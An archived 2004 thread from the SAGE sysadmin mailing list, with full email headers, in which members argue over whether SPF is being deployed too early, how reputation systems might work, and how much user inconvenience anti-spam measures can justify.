i13IntoL016117 for sage-members-outgoing; Tue, 3 Feb 2004 10:49:55 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13InscG016109 for ; Tue, 3 Feb 2004 10:49:54 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13InniL018904 for ; Tue, 3 Feb 2004 10:49:49 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id D286722887; Tue, 3 Feb 2004 10:49:48 -0800 (PST) Date: Tue, 3 Feb 2004 10:49:48 -0800 From: "Mark C. Langston" To: SAGE Members Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203184948.GM69255@bitshift.org> References: <401FD8AD.7010105@snert.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <401FD8AD.7010105@snert.com> User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 06:21:49PM +0100, Anthony Howe wrote: > > ... Be liberal in what you receive; > > conservative in what you send. > > Its my belief that its this old mantra, in particular the first half, > has allowed spam to flourish. A liberal Internet is a dead concept as > much as I would like it to return to those days. > You're probably right. > If conformance to RFCs were more rigorously enforced and stricter > adherence to existing standards (or fixing them), then we might raise > the bar high enough to discourage spam. We need solutions NOW, not in 10 > years, which is why there are a variety of mail solutions being put > forward that are less than optimal, but provide relief. > That reads dangerously close to, "Since there's not 100% adherence to standards, let's just ignore the process altogether and rush ahead whenever we feel like it." ...which is one of my problems with SPF: Major players are deploying it before the RFC draft is even finished, let alone technically vetted. > Spam is like global warming, if we don't combat it now, then its only > going to get worse and be that much harder later on. > And then there's the "it needs further study" camp. As I mentioned in another message, the spammers aren't going anywhere. They're content to wait until we've got a good solution ready to deploy. What I'm scratching my head over is, why aren't we? There are plenty of tools available today that can not only maintain status quo vis a vis spam volume, but can significantly reduce it. Without fundamentally breaking several aspects of email as we know it. Why the sudden rush? I've seen absolutely nothing regarding SPF that warrants the current "Beanie Baby" status it seems to have achieved among some. > I think SPF has merit and if used in conjunction with a "reputation > system" as Meng Weng Wong advocates, The only working reputation system code I've seen for email is commercial, and hosted. I'm about to begin writing code for the reputation system I proposed last spring, but to my knowledge there is no reputation system with which to couple SPF or any other measure at this point (unless you want to expand the definition of "reputation system" to include all white-, black, and blocklists and services based on them). If you're aware of one, please tell me. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 10:51:07 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ip7cH016223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:51:07 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Ip7TT016220 for sage-members-outgoing; Tue, 3 Feb 2004 10:51:07 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ip5cG016190 for ; Tue, 3 Feb 2004 10:51:05 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13IowiL020193; Tue, 3 Feb 2004 10:50:58 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 70FB522887; Tue, 3 Feb 2004 10:50:58 -0800 (PST) Date: Tue, 3 Feb 2004 10:50:58 -0800 From: "Mark C. Langston" To: Joe Pruett Cc: SAGE Members Subject: Re: [SAGE] latest ms patch Message-ID: <20040203185058.GN69255@bitshift.org> References: <401FD8AD.7010105@snert.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 09:36:58AM -0800, Joe Pruett wrote: > the latest ie patch has removed the user:password@hostname form of url. i > can imagine this is going to cause quite a bit of head scratching for > various internal tools where people might use that kind of syntax. > > why they couldn't add a warning instead of just disabling it, i don't > know... But that's okay. It's a 90% effective solution, and it only breaks certain things. I can't understand why people are opposed to it! ....oh, wait. Wrong thread (though it was posted as In-Reply-To the thread in which that comment was originally made). -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 10:54:53 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IsrcH016939 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:54:53 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Isrvg016933 for sage-members-outgoing; Tue, 3 Feb 2004 10:54:53 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IspcG016927 for ; Tue, 3 Feb 2004 10:54:52 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13IskiL021063 for ; Tue, 3 Feb 2004 10:54:46 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 837592288C; Tue, 3 Feb 2004 10:54:46 -0800 (PST) Date: Tue, 3 Feb 2004 10:54:46 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203185446.GO69255@bitshift.org> References: <20040203180855.GO21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203180855.GO21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 10:08:55AM -0800, Scott Francis wrote: > On Mon, Feb 02, 2004 at 05:59:15PM -0800, mark@bitshift.org said: > [snip] > > > > Once SPF is having a negative impact on users, it'll be too late. The > > > > pebbles cannot vote once the avalanche has started. > > > > > > oddly enough, that's exactly the same point I was trying to make. :) The > > > users will start the avalanche unless we start it first, and I think critical > > > mass is coming pretty soon (witness Congress, long representative of > > > slow-acting bodies worldwide, passing a spam law (albeit a useless one)). > > > > > > But that's at odds with your statement, which I paraphrase here: "Users > > don't care about the technicalities of the solution". Thus, they cannot > > dictate same (ignoring that they have no direct hand in said > > technicalities for the moment, just for the sake of the point). > > Users don't care about technicalities - they just care that it works. ...and, as I've tried to point out several times, it doesn't work, in multiple situations. If you think that'll make users happy, I'd like to know what you put in your users' drinking water, and where I can buy it in bulk. > > Mr. Postel's advice is some of the best made for networks; users, however, > are notoriously unwilling to be liberal in what they receive. If we attempt > to force them to follow that advice, we may find that they will all jump ship > to the first "solution" that comes down the pike. > Yet you ask them to be liberal in what they receive: You expect them to take whatever you hand them as a solution, regardless of flaws. You're right, however: they will jump ship after that. Or see that you're put off the boat. > > I have no beef with SPF as long as any commercial provider never moves > > beyond "?all". You and I both know they will. When that happens, > > things will break, and break spectacularly. And by then, it'll be too > > late. > > Things _will_ break; it's not a matter of if, but only when and how. We'd > better start preparing for minimal breakage and dealing with the fallout, or > it's going to be worse when the inevitable happens. There's another solution: Don't break it to begin with. All the king's horses and all the king's men could've enjoyed a leisurely breakfast, had Humpty Dumpty stayed off the wall to begin with. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 10:56:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IuAcH017058 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:56:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13IuAs2017055 for sage-members-outgoing; Tue, 3 Feb 2004 10:56:10 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Iu7cG017031 for ; Tue, 3 Feb 2004 10:56:07 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13Iu5iL021356 for ; Tue, 3 Feb 2004 10:56:05 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 3F23A22887; Tue, 3 Feb 2004 10:56:05 -0800 (PST) Date: Tue, 3 Feb 2004 10:56:05 -0800 From: "Mark C. Langston" To: SAGE Members Subject: Re: [SAGE] Jan L. Peterson wrote: Message-ID: <20040203185605.GP69255@bitshift.org> References: <401FD8FD.8000309@snert.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <401FD8FD.8000309@snert.com> User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 06:23:09PM +0100, Anthony Howe wrote: > > And if you're doing this sort of high level negotiations, then you're > talking lawyers and the passing of physical documents for signing etc. > by courriers. There are other methods of communication than email and > since email doesn't have the concept of a "registered letter", then you > can't count on it being reliable these days. > I respectfully suggest that the layperson very much views email as being "reliable", and expects it to be such. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 11:11:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JBQcH018161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:11:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JBQfb018159 for sage-members-outgoing; Tue, 3 Feb 2004 11:11:26 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JBJcH018151 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:11:24 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13IsU2j006340 for ; Tue, 3 Feb 2004 10:54:30 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13IsTmc002810 for sage-members@usenix.org; Tue, 3 Feb 2004 10:54:29 -0800 (PST) Date: Tue, 3 Feb 2004 10:54:29 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203185429.GP21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <1075826960.401fd110350aa@mail.tbcs.co.uk> <20040203184238.GL69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203184238.GL69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i13JBOcG018155 Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 10:42:38AM -0800, mark@bitshift.org said: [snip] > There seems to be an unspoken assumption here: That any and all SPF > rollouts will be done sensibly, and where SPF has the potential to break > things, the appropriate measures will be put in place prior to said > breakage to provide a workaround. > > It's a nice thought, but it's not part of reality. ANY software rollout has the potential to break things. Open relays, open proxies, misconfigured routers, broken DNS servers, home cable/DSL routers with firmware set to query non-existent NTP servers ... one would hope that those rolling out this software will take as much care as with any other software that can cause harm to other parts of the Internet. I don't see how SPF poses any more of a danger than a good share of the other stuff we implement every day. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH+5dWaB7jFU39ScRAt15AJ44d1vTbh4Awi3HZyKUq7nP0Ir3aACgtQeM MrUCeykuRaD3fONyLS0GsK0= =za9K -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 11:15:04 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JF3cH018377 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:15:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JF3EV018375 for sage-members-outgoing; Tue, 3 Feb 2004 11:15:03 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JF0cG018370 for ; Tue, 3 Feb 2004 11:15:01 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13JEviL027977 for ; Tue, 3 Feb 2004 11:14:57 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 9C31722887; Tue, 3 Feb 2004 11:14:57 -0800 (PST) Date: Tue, 3 Feb 2004 11:14:57 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203191457.GQ69255@bitshift.org> References: <20040202230545.GH21320@darkuncle.net> <20040203000548.GY69255@bitshift.org> <20040203011625.GA29385@darkuncle.net> <20040203013928.GC69255@bitshift.org> <20040203013446.GH29385@darkuncle.net> <20040203015915.GF69255@bitshift.org> <20040203130629239457.GyazMail.mgorski@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203130629239457.GyazMail.mgorski@mindspring.com> User-Agent: Mutt/1.4.1i X-Uptime: 11:13AM up 231 days, 14:23, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 01:06:29PM -0600, Mike Gorski wrote: > On Mon, 2 Feb 2004 17:59:15 -0800, Mark C. Langston wrote: > > I have no beef with SPF as long as any commercial provider never moves > > beyond "?all". You and I both know they will. When that happens, > > things will break, and break spectacularly. And by then, it'll be too > > late. > > I eagerly await this day, once things are broke - only then can they start to > be fixed. Err...there's a standards process that allows us to minimize breakage before things are deployed, rather than waiting 'til they break. If only it'd been used in this instance. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 11:17:44 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JHhcH018806 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:17:43 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JHgxr018805 for sage-members-outgoing; Tue, 3 Feb 2004 11:17:43 -0800 (PST) Received: from belial.infersys.com (infersys.com [66.51.209.144]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JHecG018798 for ; Tue, 3 Feb 2004 11:17:41 -0800 (PST) Received: from azazel.infersys.com (azazel.infersys.com [172.16.1.42]) by belial.infersys.com (Postfix) with ESMTP id B14E6100606; Tue, 3 Feb 2004 11:17:40 -0800 (PST) Received: by azazel.infersys.com (Postfix, from userid 10001) id A1B2A6CC0A9; Tue, 3 Feb 2004 11:17:40 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16415.62420.112786.920931@azazel.infersys.com> Date: Tue, 3 Feb 2004 11:17:40 -0800 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040203163835.GJ69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> X-Mailer: VM 7.17 under 21.4 (patch 14) "Reasonable Discussion" XEmacs Lucid From: Josh Smith X-Attribution: JBS Organization: Evil Geniuses For A Better Tomorrow Sender: owner-sage-members@usenix.org Precedence: bulk JBS> I think it's also important to distinguish between "I use e-mail JBS> constantly over the course of my day, and if it's not working, I JBS> can't get important work done", which is often true, and leads us to JBS> think that e-mail is a critical service that must always be working, JBS> which it often is; and "I must be able to send and receive JBS> business-critical e-mail from an Internet cafe in Istanbul". MCL> s/an Internet cafe in Istanbul/a hotel room in Colorado/ [* et al *] I don't disagree with most of those examples, but I still think it's important to distinguish between all of those situations -- "it's inconvenient that I can't access my e-mail" -- and the more general situation of "I can't do my job without e-mail". Users won't be happy if they can't conveniently check their e-mail from a wireless hot spot, the comfort of a bubble bath, or the surface of Mars. We should try to make users happy; it's one of the most important things we do. But unhappy users are not a company-destroying problem; the "I couldn't send e-mail from Starbucks, and as a result, the big merger fell through" example is pretty far-fetched. Ditto "I couldn't send e-mail in the middle of a sales-pitch/demo/whatever, so it fell through". Inconvenience is bad, but seldom crippling. It seems to me equally wrong to describe as crippling either spam, or the proposed solutions to it. They're various degrees of annoying, it's important to pick the solution that's least annoying overall, but none of them is going to destroy the economy or bring about the death of the Internet (film at 11). -Josh (irilyth@infersys.com) From sage-members-owner@usenix.org Tue Feb 3 11:19:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JJTcH019098 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:19:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JJSE7019094 for sage-members-outgoing; Tue, 3 Feb 2004 11:19:28 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JJJcH019037 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:19:25 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13J2U2j029034 for ; Tue, 3 Feb 2004 11:02:30 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13J2TNB023279 for sage-members@usenix.org; Tue, 3 Feb 2004 11:02:30 -0800 (PST) Date: Tue, 3 Feb 2004 11:02:29 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203190229.GQ21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203020321.GG69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Feb 02, 2004 at 06:03:21PM -0800, mark@bitshift.org said: [snip] > Which is why you're seeing us complain. It's not because we want > complete and utter freedom. It's because see myriad ways in which this > will make everyone -- from guru to layperson -- upset. I guess my point of view is that the potential upset is outweighed by the benefit in abuse reduction. I suppose that particular value judgment will probably have to be made by individuals on a per-domain and per-network basis. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH/BEWaB7jFU39ScRAlCnAKCbGZthhIQSeCx4hF2/P9vUzccyGQCfd1KI hqOcPluRcFvru6HyAIwIIwQ= =IY9W -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 11:20:19 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JKIcH019336 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:20:18 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JKI8o019335 for sage-members-outgoing; Tue, 3 Feb 2004 11:20:18 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JKGcG019322 for ; Tue, 3 Feb 2004 11:20:16 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13JJoiL029077; Tue, 3 Feb 2004 11:19:50 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 91EDB22887; Tue, 3 Feb 2004 11:19:50 -0800 (PST) Date: Tue, 3 Feb 2004 11:19:50 -0800 From: "Mark C. Langston" To: Scott Francis Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203191950.GR69255@bitshift.org> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <1075826960.401fd110350aa@mail.tbcs.co.uk> <20040203184238.GL69255@bitshift.org> <20040203185429.GP21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203185429.GP21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 11:18AM up 231 days, 14:28, 14 users, load averages: 0.00, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 10:54:29AM -0800, Scott Francis wrote: > On Tue, Feb 03, 2004 at 10:42:38AM -0800, mark@bitshift.org said: > [snip] > > There seems to be an unspoken assumption here: That any and all SPF > > rollouts will be done sensibly, and where SPF has the potential to break > > things, the appropriate measures will be put in place prior to said > > breakage to provide a workaround. > > > > It's a nice thought, but it's not part of reality. > > ANY software rollout has the potential to break things. Open relays, open > proxies, misconfigured routers, broken DNS servers, home cable/DSL routers > with firmware set to query non-existent NTP servers ... one would hope that > those rolling out this software will take as much care as with any other > software that can cause harm to other parts of the Internet. I don't see how > SPF poses any more of a danger than a good share of the other stuff we > implement every day. Because SPF is known to be broken in and of itself, without having to worry about it being broken _as a consequence of rolling it out_. It's broken as-is. If your named didn't resolve for queries from certain locations, would you roll it out and then try to kludge together workarounds, or would you look for a better named? -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 11:26:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JQZcH020272 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:26:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JQY6Y020270 for sage-members-outgoing; Tue, 3 Feb 2004 11:26:34 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JQWcG020265 for ; Tue, 3 Feb 2004 11:26:32 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13JQUiL001616 for ; Tue, 3 Feb 2004 11:26:30 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id E9F9122887; Tue, 3 Feb 2004 11:26:29 -0800 (PST) Date: Tue, 3 Feb 2004 11:26:29 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203192629.GT69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16415.62420.112786.920931@azazel.infersys.com> User-Agent: Mutt/1.4.1i X-Uptime: 11:21AM up 231 days, 14:30, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:17:40AM -0800, Josh Smith wrote: > JBS> I think it's also important to distinguish between "I use e-mail > JBS> constantly over the course of my day, and if it's not working, I > JBS> can't get important work done", which is often true, and leads us to > JBS> think that e-mail is a critical service that must always be working, > JBS> which it often is; and "I must be able to send and receive > JBS> business-critical e-mail from an Internet cafe in Istanbul". > > MCL> s/an Internet cafe in Istanbul/a hotel room in Colorado/ > > [* et al *] > > I don't disagree with most of those examples, but I still think it's > important to distinguish between all of those situations -- "it's > inconvenient that I can't access my e-mail" -- and the more general > situation of "I can't do my job without e-mail". > > Users won't be happy if they can't conveniently check their e-mail from a > wireless hot spot, the comfort of a bubble bath, or the surface of Mars. > We should try to make users happy; it's one of the most important things > we do. But unhappy users are not a company-destroying problem; the "I > couldn't send e-mail from Starbucks, and as a result, the big merger fell > through" example is pretty far-fetched. Ditto "I couldn't send e-mail in > the middle of a sales-pitch/demo/whatever, so it fell through". > > Inconvenience is bad, but seldom crippling. It seems to me equally wrong > to describe as crippling either spam, or the proposed solutions to it. > They're various degrees of annoying, it's important to pick the solution > that's least annoying overall, but none of them is going to destroy the > economy or bring about the death of the Internet (film at 11). > You're right. Inconvenience is exactly that: inconvenience. No more, no less. However, inconvenince leads to a perceptual, rather than technical, problem. If you repeatedly inconvenience enough people, and if you are seen as the source of the inconvenience, you will be removed to eliminate said inconvenience, if you are unwilling to eliminate the inconvenience yourself. As the person responsible for the mail system, and/or as the person responsible for advocating, deploying, and maintaining a system for which no user saw a need until you convinced them that they had such need, I can fairly well guarantee you will be seen as the souce of that inconvenience. It sounds like you've forgotten on which side of your bread the butter resides, and from whence said butter originates. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 11:31:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JVDcH020740 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:31:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JVDqM020739 for sage-members-outgoing; Tue, 3 Feb 2004 11:31:13 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JVBcG020732 for ; Tue, 3 Feb 2004 11:31:11 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13JV1iL003537; Tue, 3 Feb 2004 11:31:01 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id F094A22887; Tue, 3 Feb 2004 11:31:00 -0800 (PST) Date: Tue, 3 Feb 2004 11:31:00 -0800 From: "Mark C. 